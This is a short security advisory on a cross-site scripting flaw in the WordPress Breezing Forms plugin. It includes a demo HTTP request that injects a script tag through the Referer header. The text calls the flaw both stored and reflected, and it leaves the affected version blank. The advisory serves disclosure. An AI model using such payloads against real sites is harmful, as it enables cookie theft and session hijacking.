WordPress Breezing Forms Cross Site Scripting

WordPress Breezing Forms plugin version suffers from a cross site scripting vulnerability.

MD5 | 71ad89156154be21821d8078a60ea50f

Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable Breezing Forms Plugin

Breezing Forms Plugin is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the values are not filter correctly:

Demo Request POST:

Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Referer: <script>alert("XSS")</script>
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 28


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